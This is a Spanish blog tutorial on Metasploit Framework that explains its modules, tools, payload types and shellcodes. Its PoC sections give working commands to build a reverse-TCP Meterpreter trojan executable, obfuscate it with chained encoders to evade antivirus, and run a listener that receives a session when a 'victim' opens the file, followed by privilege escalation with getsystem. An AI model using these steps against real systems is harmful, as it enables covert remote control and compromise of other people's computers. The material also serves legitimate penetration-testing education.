sábado, 11 de enero de 2014

Metasploit Framework


¿Qué es Metasploit Framework?

Es una herramienta de pentest para el desarollo y ejecución de exploits destinada a auditar vulnerabilidades en sistema informáticos.

Dispone de varias versiones:

-Metasploit Pro.
-Metasploit Express.
-Metasploit Community.
-Metasploit Framework.

Véase: https://www.rapid7.com/products/metasploit/editions-and-features.jsp

Esta herramienta fué inicialmente escrita en lenguaje perl, pero posteriormente fué reescrita por completo en ruby.
Todas sus versiones están disponibles para unix, Linux y Windows.

Veámos un poco cómo es la infraestructura de Metasploit para entender mejor su funcionamiento.

Arquitectura Metasploit Framework

Como podemos ver dispone de 4 interfaces en las cuales podemos interactuar con el framework y sus distintos módulos que pasamos a detallar a continuación:

-Módulo Payloads: Nos proporciona gran cantidad de códigos “maliciosos” que podremos ejecutar una vez haya tenido éxito el exploit.
-Módulo Exploits: Aquí es donde se encuentran todos los exploits disponibles en el framework para conseguir acceso en los sistemas.
-Módulo Encoders: Proporciona algorítmos para codificar y ofuscar los payloads que utilizaremos tras haber tenido éxito el exploit.
-Módulo Nops: Nos permite realizar u obtener operaciones nop.
-Módulo Auxiliary: Permite la interacción de herramientas externas como pueden ser escaners de vulnerabilidades, sniffers, etc… con el framework de Metasploit.

Una vez que ya conocemos la arquitectura del framework, vamos a ver las diferentes herramientas de las que dispone que pueden ser utilizadas en diferentes situaciones por el usuario, sin necesidad de cargar todo el entorno.

-Msfpayload: Es una herramienta orientada a todo lo relacionado con el ámbito de las shellcodes.
Msfpayload es capaz de generar shellcodes para distintos lenguajes de programación,
ejecutables que inyecten el código malicioso en la máquina víctima tras su ejecución, listar las
shellcodes disponibles en Metasploit, son sus principales funcionalidades. Normalmente, se
utiliza para generar el código que se utilizará con un exploit que no se encuentre en el
framework, pero también puede ayudar al auditor para probar los diferentes tipos shellcodes.
PoC - Para crear un troyano casero debemos escribir lo siguiente:

msf > msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.39 LPORT=4444 X >
troyano.exe


-Msfencode: Esta herramienta se encarga de dificultar a los sistemas de intrusión (IDS) y antivirus,
la detección del payload. Además, permite eliminar los bytes nulos que se generan en la
creación de una shellcode. ¿En qué se basa msfencode? Básicamente dispone de una serie de encoders o codificadores para ofuscar estos payloads con los objetivos nombrados anteriormente.
 PoC - Para crear un ejecutable multicodificado hay que ejecutar la siguiente instrucción:

msf > msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.39 LPORT=4444 R |
msfencode –e x86/shikata-ga-nai –c 6 –t raw | msfencode –r x86/context_stat –c 3 –t raw |
msfencode –e x86/countdown –c 4 –t raw |msfencode –e x86/shikata_ga_nai –c 6 –t exe –o
troyanocodificado.exe


-Msfvenom: Esta herramienta unifica las aplicaciones msfencode y msfpayload.
Su principal ventaja es disponer de ambos comandos en una sola instancia y un incremento de velocidad en la generación de las acciones. Simplemente, se puede tratar dicha herramienta como una ayuda al auditor para disponer de todo lo necesario para generar los payloads y codificarlos o
cifrarlos desde una misma herramienta sin necesidad de utilizar formatos intermedios.

-Msfpescan & Msfelfscan: La herramienta msfpescan permite escanear ficheros ejecutables o DLLs de Windows para encontrar instrucciones de código máquina sobre una imagen basada en memoria. Por otro lado la herramienta msfelfscan permite realizar las mismas tareas pero sobre las aplicaciones
ELF en sistemas operativos Linux.

-Msfrop: A día de hoy los desarrolladores de exploits con DEP (Data Execution Prevention) que está habilitado por defecto en los nuevos sistemas operativos. DEP previene la ejecución de la shellcode en la zona de memoria denominada como pila, así que los desarrolladores se vieron obligados a buscar como voltear esta mitigación, desarrollando la llamada ROP (Returnoriented programming).
El payload ROP se crea utilizando conjuntos de instrucciones ya existentes en binarios en modo no ASLR (Address Space Layout Randomization) para conseguir que la shellcode se ejecute.

-Msfd: Esta herramienta proporciona un demonio o servicio de Metasploit el cual genera un listener
en un puerto. Los clientes podrán conectar con este servicio y disponer de su propia interfaz
de consola. Se debe tener en cuenta que todos los clientes utilicen la misma instancia del
framework.


Ahora que sabemos también de qué herramientas disponemos con este framework, voy a explicar un poco que son las shellcodes, payloads y exploits:

Las shellcodes son un conjunto de instrucciones usadas como un payload cuando se produce el proceso de explotación del sistema. La shellcode son órdenes, generalmente, escritas en lenguaje ensamblador. Para generar este tipo de código, normalmente, se utiliza un lenguaje de mayor nivel como puede ser C. Después, este código al ser compilado, genera el código de máquina
resultante, el cual es denominado opcode.

Shellcode generada con Msfpayload


Los payloads son el código que se inyecta en una máquina a través de un exploit, y el cual permite al atacante ejecutar código en la máquina remota. Existen 3 tipos de payloads:
    -Single: También conocidos como inline, son autónomos y realizan una tarea concreta o
     específica. Por ejemplo, bind a una Shell, creación de un usuario en el sistema, ejecución de un
     comando, etc…
    -Stagers: Se encargan de crear la conexión entre el cliente y la víctima, y generalmente, son
     utilizados para descargar payloads de tipo staged.
    -Staged: Se descargan y son ejecutados por los de tipo stagers y normalmente son utilizados
     para realizar tareas complejas o con gran variedad de funcionalidades, como puede ser, un
     meterpreter. En otras palabras, los de tipo staged utilizan pequeños stagers para ajustarse en
     pequeños espacios de memoria dónde realizar la explotación y conexión con el resto del
     payload, de tipo staged.

El mayor payload del que dispone este framework se denomina Meterpreter y aparte de poder conseguir acceso como SYSTEM elevando privilegios en la máquina víctima, nos ofrece una gran variedad de posibilidades con las que interactuar en dicha máquina.

Los exploits son códigos escritos para aprovechar un error de programación con la intención de obtener diversos privilegios.

 PoC

Ahora pasemos a la acción creando un troyano casero mediante msfpayload que nos lanzará una sesión meterpreter con la que tendremos control total sobre la máquina víctima.

Lo primero que vamos a hacer es abrir una consola para generar nuestro payload escribiendo en ella lo siguiente:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.40 LPORT=4444 X > troyano.exe

Con esto estamos diciendo a msfpayload que queremos utilizar una meterpreter de tipo reverso, con LHOST indicamos la IP a la que tendrá que devolver la conexión, con LPORT al puerto que se devuelve la conexión y con X > troyano.exe indicamos que lo pasemos a un fichero ejecutable llamado "troyano.exe".






Ahora ya tenemos creado nuestro regalito xD, pero para recibir la conexión, debemos poner un listener a la escucha para recibir la sesión cuando nuestra víctima ejecute el archivo, por lo que antes de enviarlo, abrirmos una nueva consola y escribimos lo siguiente:

1º msfconsole
2º use exploit/multi/handler
3º set PAYLOAD windows/meterpreter/reverse_tcp
4º set LHOST 192.168.0.40
5º exploit



Una vez la víctima ejecute nuestro archivo nos brindará una sesión meterpreter y podremos escalar privilegios para conseguir acceso como SYSTEM con el comando getsystem:



Y ahora pequeños.... A JUGAR!!!! xD




En siguientes post publicaré algunos comandos para utilizar en una sesión meterpreter.

Espero que les haya gustado!!!

Saludos.


Referencias: 
Libro Metasploit para Pentesters: http://0xword.com/es/libros/30-libro-metasploit-pentester.html
Metasploit Unleashed: http://www.offensive-security.com/metasploit-unleashed/Main_Page
 
 
**No me hago responsable del mal uso que se de a la información presentada. Esta información es de carácter didáctico.**

No hay comentarios:

Publicar un comentario